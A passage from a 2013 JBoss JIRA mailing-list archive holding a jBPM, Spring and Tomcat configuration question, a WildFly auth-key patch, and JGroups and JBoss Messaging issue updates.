			// Each Command will generate an interaction
			logger.info(">>> Creating Process Instance " + processDefinitionId);
			ut = (UserTransaction) new InitialContext().lookup( "java:comp/UserTransaction" );
			ut.begin();
			ProcessInstance processInstance = ksession.createProcessInstance(
					processDefinitionId, parameters);
			long processInstanceId = processInstance.getId();
			logger.info(">>> Let's Start the Process Instance "
					+ processDefinitionId + " " + processInstance.getId());
			ksession.startProcessInstance(processInstance.getId());
			ut.commit();
			int sessionId = ksession.getId();
			logger.info("Session id and the process id "+sessionId+" and process id "+processInstanceId);
			logger.info("Disposing session and BAM for Process Instance "
					+ processDefinitionId + " " + processInstance.getId());
			//Set values in result map
			resultMap.put("processInstanceId", processInstanceId);
			resultMap.put("sessionId", sessionId);
			
		}catch(Throwable t){
			logger.error("Error while creating process "+processDefinitionId, t);
			if(ut != null){
				ut.rollback();
			}
			throw new Exception("Error while creating process "+processDefinitionId,t);
		}finally{
			// We need to dispose the session, because the reference to this
			// ksession object will no longer be valid
			// because another thread could load the same session and execute a
			// different command.
			if(wmlogger != null){
				wmlogger.dispose();
			}if(ksession != null){
				ksession.dispose();
			}
		}
		return resultMap;
	}
	
	private Environment getEnvironment() throws Exception{
		Environment env = EnvironmentFactory.newEnvironment();
		EntityManagerFactory emf = Persistence
		.createEntityManagerFactory("org.jbpm.runtime");
		
		env.set(EnvironmentName.ENTITY_MANAGER_FACTORY, emf);
		env.set(EnvironmentName.TRANSACTION_MANAGER,TransactionManagerServices.getTransactionManager());

		InitialContext ctx = new InitialContext();
		UserTransaction ut = (UserTransaction) ctx.lookup("java:comp/UserTransaction");
		//UserTransaction ut = null;//(UserTransaction) new InitialContext().lookup( "java:comp/UserTransaction" );
		env.set(EnvironmentName.TRANSACTION, ut);
		return env;
	}

	protected final StatefulKnowledgeSession createKnowledgeSession() throws Exception{
		
		// Let's create a Persistence Knowledge Session
		final StatefulKnowledgeSession ksession = JPAKnowledgeService
				.newStatefulKnowledgeSession(kbase, null, env);
		return ksession;
	}

	protected final void registerWorkItemHandlers(
			StatefulKnowledgeSession ksession,
			Map<String, WorkItemHandler> wiHandlers) {
		if (wiHandlers != null) {
			Iterator<String> wihNameIter = wiHandlers.keySet().iterator();
			while (wihNameIter.hasNext()) {
				String name = wihNameIter.next();
				ksession.getWorkItemManager().registerWorkItemHandler(name,
						wiHandlers.get(name));
			}
		}
	}

	protected KnowledgeBase createKnowledgebase() throws Exception {
		try{
			KnowledgeBuilder kbuilder = KnowledgeBuilderFactory
					.newKnowledgeBuilder();
			
			if (resourcePatterns != null) {
				for (String resourcePattern : resourcePatterns) {
					logger.info("Reading files using resource pattern "
							+ resourcePattern);
					Resource[] bpmnResources = applicationContext
							.getResources(resourcePattern);
					if (bpmnResources != null) {
						for (int i = 0; i < bpmnResources.length; i++) {
							logger.info("Registering BPMN process definition "
									+ bpmnResources[i].getURL().toString());
							kbuilder.add(ResourceFactory
									.newInputStreamResource(bpmnResources[i]
											.getInputStream()), ResourceType.BPMN2);
						}
					} else {
						logger.info("There are no files available matching the resource pattern "
								+ resourcePattern);
					}
				}
			}
			if (kbuilder.hasErrors()) {
				for (KnowledgeBuilderError error : kbuilder.getErrors()) {
					logger.info(">>> Error:" + error.getMessage());
				}
			}
			
			kbase = KnowledgeBaseFactory.newKnowledgeBase();
			
			kbase.addKnowledgePackages(kbuilder.getKnowledgePackages());
			
			env = getEnvironment();
			
		}catch(Throwable t){
			logger.error("Error while creating knowledge base", t);
		}
		return kbase;
	}

	/*
	 * (non-Javadoc)
	 * 
	 * @see
	 * org.springframework.context.ApplicationContextAware#setApplicationContext
	 * (org.springframework.context.ApplicationContext)
	 */
	@Override
	public void setApplicationContext(ApplicationContext applicationContext)
			throws BeansException {
		this.applicationContext = applicationContext;

	}

	/**
	 * @param resourcePatterns
	 *            the resourcePatterns to set
	 */
	public void setResourcePatterns(List<String> resourcePatterns) {
		this.resourcePatterns = resourcePatterns;
	}

	/**
	 * @return the resourcePatterns
	 */
	public List<String> getResourcePatterns() {
		return resourcePatterns;
	}

	@Override
	public void signalEvent(String type, Object event,int sessionId, long processInstanceId,
			Map<String, WorkItemHandler> wiHandlers) throws Exception{
		//Evaluate loading an existing session
		StatefulKnowledgeSession ksession = null;
		try{
			logger.info("Sending a event to bpm process: type "+type);
			ksession = JPAKnowledgeService.loadStatefulKnowledgeSession(sessionId, kbase, null, env );
			registerWorkItemHandlers(ksession, wiHandlers);
			ksession.signalEvent(type, event, processInstanceId);
		}catch(Exception e){
			logger.error("Error while sending signal to bpm process,  type:"+type,e);
			throw e;
		}finally{
			if(ksession != null){
				ksession.dispose();
			}
		}
	}
	
	/**
	 * @param poolingDataSource the poolingDataSource to set
	 */
	public void setPoolingDataSource(PoolingDataSource poolingDataSource) {
		this.poolingDataSource = poolingDataSource;
	}
	
	/**
	 * @return the poolingDataSource
	 */
	public PoolingDataSource getPoolingDataSource() {
		return poolingDataSource;
	}

	/**
	 * @param initialFactoryClassName the initialFactoryClassName to set
	 */
	public void setInitialFactoryClassName(String initialFactoryClassName) {
		this.initialFactoryClassName = initialFactoryClassName;
		
	}

	/**
	 * @return the initialFactoryClassName
	 */
	public String getInitialFactoryClassName() {
		return initialFactoryClassName;
	}

	/**
	 * @param driverProperties the driverProperties to set
	 */
	public void setDriverProperties(Properties driverProperties) {
		this.driverProperties = driverProperties;
		
	}

	/**
	 * @return the driverProperties
	 */
	public Properties getDriverProperties() {
		return driverProperties;
	}

	/**
	 * @param uniqueName the uniqueName to set
	 */
	public void setUniqueName(String uniqueName) {
		this.uniqueName = uniqueName;
		
	}

	/**
	 * @return the uniqueName
	 */
	public String getUniqueName() {
		return uniqueName;
	}

	/**
	 * @param minPoolSize the minPoolSize to set
	 */
	public void setMinPoolSize(int minPoolSize) {
		this.minPoolSize = minPoolSize;
		
	}

	/**
	 * @return the minPoolSize
	 */
	public int getMinPoolSize() {
		return minPoolSize;
	}

	/**
	 * @param maxPoolSize the maxPoolSize to set
	 */
	public void setMaxPoolSize(int maxPoolSize) {
		this.maxPoolSize = maxPoolSize;
		
	}

	/**
	 * @return the maxPoolSize
	 */
	public int getMaxPoolSize() {
		return maxPoolSize;
	}

	/**
	 * @param isolationLevel the isolationLevel to set
	 */
	public void setIsolationLevel(String isolationLevel) {
		this.isolationLevel = isolationLevel;
		
	}

	/**
	 * @return the isolationLevel
	 */
	public String getIsolationLevel() {
		return isolationLevel;
	}

	/**
	 * @return the className
	 */
	public String getClassName() {
		return className;
	}

	/**
	 * @param className the className to set
	 */
	public void setClassName(String className) {
		this.className = className;
		
	}

	/**
	 * @return the allowLocalTransactions
	 */
	public boolean isAllowLocalTransactions() {
		return allowLocalTransactions;
	}

	/**
	 * @param allowLocalTransactions the allowLocalTransactions to set
	 */
	public void setAllowLocalTransactions(boolean allowLocalTransactions) {
		this.allowLocalTransactions = allowLocalTransactions;
		
	}

}


peristence.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<persistence version="2.0"
	xsi:schemaLocation="http://java.sun.com/xml/ns/persistence http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd
http://java.sun.com/xml/ns/persistence/orm http://java.sun.com/xml/ns/persistence/orm_2_0.xsd"
	xmlns:orm="http://java.sun.com/xml/ns/persistence/orm" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns="http://java.sun.com/xml/ns/persistence">
	<persistence-unit name="org.jbpm.runtime"
		transaction-type="JTA">
		<provider>org.hibernate.ejb.HibernatePersistence</provider>
		<!-- <jta-data-source>jdbc/testDS1</jta-data-source> -->
		<jta-data-source>jdbc/testDS1</jta-data-source>
		<mapping-file>META-INF/JBPMorm-JPA2.xml</mapping-file>

		<class>org.drools.persistence.info.SessionInfo</class>
		<class>org.jbpm.persistence.processinstance.ProcessInstanceInfo</class>
		<class>org.drools.persistence.info.WorkItemInfo</class>
		<!-- Added -->
		<class>org.jbpm.process.audit.ProcessInstanceLog</class>
		<class>org.jbpm.process.audit.NodeInstanceLog</class>
		<class>org.jbpm.process.audit.VariableInstanceLog</class>
		<!-- Commented out <exclude-unlisted-classes>true</exclude-unlisted-classes> -->
		<properties>
			<property name="hibernate.max_fetch_depth" value="3" />
			<property name="hibernate.hbm2ddl.auto" value="update" />
			<property name="hibernate.show_sql" value="true" />
			<property name="hibernate.transaction.manager_lookup_class"
				value="org.hibernate.transaction.BTMTransactionManagerLookup" />
			<!-- 
			 <property name="hibernate.transaction.jta.platform" value="org.hibernate.service.jta.platform.internal.BitronixJtaPlatform" />
			 -->
			<!-- <property name="hibernate.dialect" value="org.hibernate.dialect.H2Dialect"/> -->
			<property name="hibernate.dialect" value="org.hibernate.dialect.MySQLDialect" />
			<!-- 
			
			<property name="hibernate.connection.driver_class" value="com.mysql.jdbc.Driver" />
			<property name="hibernate.connection.url" value="jdbc:mysql://localhost:3306/jbpm" />
			<property name="hibernate.connection.username" value="root" />
			<property name="hibernate.connection.password" value="" />
			 -->
			<property name="hibernate.connection.autocommit" value="true" />
		</properties>
	</persistence-unit>
</persistence>

Spring files

<bean id="bpmEngine" class="com.sts.bpm.engine.impl.JBpmEngineImpl" init-method="init" >
		<property name="initialFactoryClassName" value="bitronix.tm.jndi.BitronixInitialContextFactory"></property>
		<!-- 
		<property name="poolingDataSource"  ref="poolingDataSource"></property>
		 -->
		<property name="resourcePatterns">
			<list>
				<value>classpath*:/META-INF/process/*.bpmn</value>
				<value>classpath*:/META-INF/process/*.bpmn2</value>
			</list>
		</property>
		<property name="uniqueName" value="jdbc/testDS1"></property>
    	<property name="className" value="com.mysql.jdbc.jdbc2.optional.MysqlXADataSource"></property>
    	<property name="minPoolSize" value="1"></property>
    	<property name="maxPoolSize" value="20"></property>
    	<property name="allowLocalTransactions" value="true"></property>
    	<property name="isolationLevel" value="READ_COMMITTED"></property>
    	<property name="driverProperties">
    		<props>
    			<prop key="user">${jbpm.db.user}</prop>
    			<prop key="password">${jbpm.db.password}</prop>
    			<prop key="serverName">${jbpm.db.serverName}</prop>
    			<prop key="databaseName">${jbpm.db.databaseName}</prop>
    			<prop key="port">${jbpm.db.port}</prop>
    			<prop key="URL">${jbpm.db.URL}</prop>
    		</props>
    	</property>
	</bean>

<bean id="invStatusWIH" class="com.sts.inv.bpm.handler.SetinvStatusWIH">
    	
	</bean>

<bean id="invWihInitializer" class="com.sts.bpm.initializer.StandardHandlerInitializer">
		<property name="workItemHandlers">
			<map>
				<entry key="Set inv Status" value-ref="invStatusWIH"/>
				
			</map>
		</property>
	</bean>
	<bean id="invWihRegistry" class="com.sts.bpm.handler.registry.WorkItemHandlerRegistry" >
		<property name="initializers">
			<map>
				<entry key="invProcess" value-ref="invWihInitializer"/>
			</map>
		</property>
	</bean>
	<bean id="invBPMService" class="com.sts.inv.bpm.biz.impl.invBPMServiceImpl" >
		<property name="bpmEngine" ref="bpmEngine" />
		<property name="workItemHandlerRegistry" ref="invWihRegistry" />
	</bean>


Tomcat conf.xml

<?xml version='1.0' encoding='utf-8'?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

    <!-- Default set of monitored resources -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
	
	<Transaction factory="bitronix.tm.BitronixUserTransactionObjectFactory" />

 

    <Resource name="jdbc/testDS1" auth="Container" type="com.mysql.jdbc.jdbc2.optional.MysqlXADataSource" maxActive="15" maxIdle="2" maxWait="10000" logAbandoned="true"
               username="root" password="" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/jbpm"/>


    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->

    <!-- Uncomment this to enable Comet connection tacking (provides events
         on session expiration as well as webapp lifecycle) -->
    <!--
    <Valve className="org.apache.catalina.valves.CometConnectionManagerValve" />
    -->

</Context>


Test case

package com.sts.inv.bpm.test;

import java.util.Date;

import org.junit.Before;
import org.junit.Test;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import com.sts.bpm.vo.InvSignalEventDetails;
import com.sts.bpm.vo.InvSignalEventType;
import com.sts.dao.entity.Inv;
import com.sts.inv.bpm.biz.InvBPMService;

/**
 * 
 *
 *
 */
public class InvLifecycleProcessTest{

	private InvBPMService invBPMService;


	@Before
	public void setUp() throws Exception {
		ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(
				new String[]{
						"META-INF/spring/beans.xml"});
		invBPMService = (InvBPMService)context.getBean("invBPMService");
	}

	/**
	 * Creates a new order process
	 */
	@Test
	public void startProcess() throws Exception{
		try{
			Thread.sleep(6 * 60 * 1000);
			//for(
				int invId = 2; 
				
				//invId <= 20; invId++){
				Inv inv = new Inv();
				inv.setInvitedBy("Admin");
				inv.setInvitedDate(new Date());
				inv.setInvId(invId);
				InvSignalEventDetails eventDetails = new InvSignalEventDetails();
				eventDetails.setInvId(invId);
				eventDetails.setSessionId(invId);
				eventDetails.setProcessInstanceId(invId);
				//Set the other details of order if necessary
				
				
				eventDetails = invBPMService.createInvProcess(inv,"test","invProcess");
				Thread.sleep(6 * 60 * 1000);
				inv.setInvId(eventDetails.getInvId());
				eventDetails.setEventData(InvSignalEventType.INV_CREATED.toString());
				eventDetails.setType(InvSignalEventType.INV_CREATED);
				invBPMService.signalEvent(eventDetails.getType(),"","invProcess",
						eventDetails.getSessionId(),eventDetails.getProcessInstanceId());
				Thread.sleep(6 * 60 * 1000);
				eventDetails.setEventData(InvSignalEventType.INV_SENT.toString());
				eventDetails.setType(InvSignalEventType.INV_SENT);
				invBPMService.signalEvent(eventDetails.getType(),"","invProcess",
						eventDetails.getSessionId(),eventDetails.getProcessInstanceId());
				
						
			//}

		}catch(Throwable t){
			throw new Exception(t);
		}
	}
}






--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 02:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 02:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.22657.1378968663700@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803709#comment-12803709 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Hisanobu Okuda <hokuda at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

The below works for me.

diff --git a/host-controller/src/main/java/org/jboss/as/host/controller/ServerInventoryImpl.java b/host-controller/src/main/java/org/jboss/as/host/controller/ServerInventoryImpl.java
index e10dc69..f1eaeb3 100644
--- a/host-controller/src/main/java/org/jboss/as/host/controller/ServerInventoryImpl.java
+++ b/host-controller/src/main/java/org/jboss/as/host/controller/ServerInventoryImpl.java
@@ -83,6 +83,8 @@ import org.jboss.sasl.util.UsernamePasswordHashUtil;
 public class ServerInventoryImpl implements ServerInventory {
 
     private static final Charset UTF_8 = Charset.forName("UTF-8");
+    private static final int SPC = 0x20;
+    private static final int TILDE = 0x7e;
 
     /** The managed servers. */
     private final ConcurrentMap<String, ManagedServer> servers = new ConcurrentHashMap<String, ManagedServer>();
@@ -177,7 +179,7 @@ public class ServerInventoryImpl implements ServerInventory {
         if(server == null) {
             // Create a new authKey
             final byte[] authKey = new byte[16];
-            new Random(new SecureRandom().nextLong()).nextBytes(authKey);
+            storeRandomAsciiChar(authKey);
             // Create the managed server
             final ManagedServer newServer = createManagedServer(serverName, domainModel, authKey);
             server = servers.putIfAbsent(serverName, newServer);
@@ -595,4 +597,10 @@ public class ServerInventoryImpl implements ServerInventory {
         };
     }
 
+    static void storeRandomAsciiChar(byte[] authKey) {
+        Random rand = new Random(new SecureRandom().nextLong());
+        for(int i =0; i < authKey.length; i++) {
+            authKey[i] = (byte)(SPC + rand.nextInt(TILDE-SPC+1));
+        }
+    }
 }
diff --git a/host-controller/src/test/java/org/jboss/as/host/controller/ServerInventoryImplTestCase.java b/host-controller/src/test/java/org/jboss/as/host/controller/ServerInventoryImplTestCase.java
new file mode 100644
index 0000000..feb3c1d
--- /dev/null
+++ b/host-controller/src/test/java/org/jboss/as/host/controller/ServerInventoryImplTestCase.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2013 Red Hat, Inc., and individual contributors 
+ * as indicated by the @author tags. See the copyright.txt file 
+ * in the distribution for a full listing of individual contributors.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ * MA 02110-1301  USA
+ */
+package org.jboss.as.host.controller;
+
+import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
+import static org.hamcrest.CoreMatchers.is;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ *
+ * @author <a href="mailto:ehugonne at redhat.com">Emmanuel Hugonnet</a> (c) 2013 Red Hat, inc.
+ */
+public class ServerInventoryImplTestCase {
+ private static final String HEX_DIGITS = "0123456789abcdef";
+    @Test
+    public void testStoreRandomeAsciiChar() throws Exception {
+        byte[] array = new byte[1000];
+	boolean isok = true;
+
+        ServerInventoryImpl.storeRandomAsciiChar(array);
+	for (byte b:array) {
+	    if( b<0x20 || b>0x7e ) {
+		isok = false;
+	    }
+	}
+        Assert.assertThat(isok, is(true));
+    }
+}
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:10:05 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 12 Sep 2013 04:10:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1801) Allow remoting endpoint
 options to be configurable
In-Reply-To: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497756.1375358657000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497756.1375358657000.22795.1378973405223@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1801?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-1801:
---------------------------------

    Assignee: Tomaz Cerar

    
> Allow remoting endpoint options to be configurable
> --------------------------------------------------
>
>                 Key: WFLY-1801
>                 URL: https://issues.jboss.org/browse/WFLY-1801
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Remoting
>            Reporter: jaikiran pai
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Alpha3
>
>
> Currently, there's no way the remoting endpoint creation options can be configured. 
> I see a TODO https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/RemotingSubsystemAdd.java#L78 which seems to have remained unimplemented. 
> For now, the only endpoint point options that are passed are hardcoded from here https://github.com/wildfly/wildfly/blob/master/remoting/src/main/java/org/jboss/as/remoting/EndpointConfigFactory.java#L46.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:10:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 04:10:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.22801.1378973405869@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803731#comment-12803731 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

Here's a summary of the changes:
- In some cases, when a digest and a view are the same, the members
  field of the digest points to the members field of the view,
  resulting in reduced memory use.
- When a view and digest are the same, we marshal the members only
  once (in JOIN-RSP, MERGE-RSP and INSTALL-MERGE-VIEW).
- We don't send the digest with a VIEW to *existing members*; the full
  view and digest is only sent to the joiner. This means that new
  views are smaller, which is useful in large clusters.
- JIRA:  https://issues.jboss.org/browse/JGRP-1317
- View and MergeView now use arrays rather than lists to store
  membership and subgroups
- Make sure digest matches view when returning JOIN-RSP or installing
  MergeView (https://issues.jboss.org/browse/JGRP-1690)
- More efficient marshalling of GMS$GmsHeader: when view and digest
  are present, we only marshal the members once
- JoinRsp: marshalling members in view and digest only once
- Digest: marshalling members in view and digest only once
                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:12:03 2013
From: jira-events at lists.jboss.org (Yong Hao Gao (JIRA))
Date: Thu, 12 Sep 2013 04:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBMESSAGING-1931) Message not delivered
 to Topic after node rejoins cluster
In-Reply-To: <JIRA.12471338.1343401372000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12471338.1343401372000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12471338.1343401372000.22808.1378973523669@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBMESSAGING-1931?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Yong Hao Gao closed JBMESSAGING-1931.
-------------------------------------

    Resolution: Done


already fixed
                
> Message not delivered to Topic after node rejoins cluster
> ---------------------------------------------------------
>
>                 Key: JBMESSAGING-1931
>                 URL: https://issues.jboss.org/browse/JBMESSAGING-1931
>             Project: JBoss Messaging
>          Issue Type: Bug
>          Components: JMS Clustering
>    Affects Versions: 1.4.8.SP5
>         Environment: JBoss EAP 5.1.2
>            Reporter: Doug Grove
>            Assignee: Yong Hao Gao
>         Attachments: jboss-messaging-client.jar, jboss-messaging.jar, JBPAPP-9758-signed.tgz
>
>
> After a node leaves the cluster and then rejoins the cluster, the node does not receive messages posted to clustered topics that are delivered to other nodes.
> Log files are attached.  Node 2 was the node taken out of the cluster.  After Node 2 was allowed to rejoin the cluster, a message was sent to Node 1.  It was not seen by Node 2.  A messages was then sent to Node 2.  It was seen by Node 1.  Search for "Hello World" in the server.log.
> Note that this configuration has the cluster health mbean installed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:14:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 04:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.22811.1378973643514@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802161#comment-12802161 ] 

Bela Ban edited comment on JGRP-1317 at 9/12/13 4:12 AM:
---------------------------------------------------------

Another alternative is to revert Digest to containing a membership list (Address[]) and the corresponding seqnos (long[]). This is essentially what we had in the beginning.

However, *if View's membership list was changed from an ArrayList<Address> to an array (Address[])*, then we could do the following when unmarshalling a ref digest:
* Read the View
* Read the seqno[] array of the digest
* Point the Address[] array of digest to the Address[] array of view, so we have the Address[] array in memory *only once*

Protocols which need a view-id could simply ship the view-id, e.g. STABLE.
                
      was (Author: belaban):
    Another alternative is to revert Digest to containing a membership list (Address[]) and the corresponding seqnos (long[]). This is essentially what we had in the beginning.

However, *if View's membership list was changed from an ArrayList<Address> to an array (Address[])*, then we could do the following when unmarshalling a ref digest:
* Read the View
* Read the seqno[] array of the digest
* Point the Address[] array of digest to the Address[] array of view, so we have the Address[] aray in memory *only once*

Protocols which need a view-id could simply ship the view-id, e.g. STABLE.
                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:20:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 04:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.22836.1378974003732@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1691:
---------------------------

    Priority: Major  (was: Blocker)


Hi Chris,

this may be a blocker for you, but a blocker in JIRA means an issue would have to be fixed before a given version can be released. This is IMO not the case here, as not many people use the TUNNEL/GossipRouter combo, so I'm downgrading the severity to major.
                
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 04:43:04 -0400 (EDT)
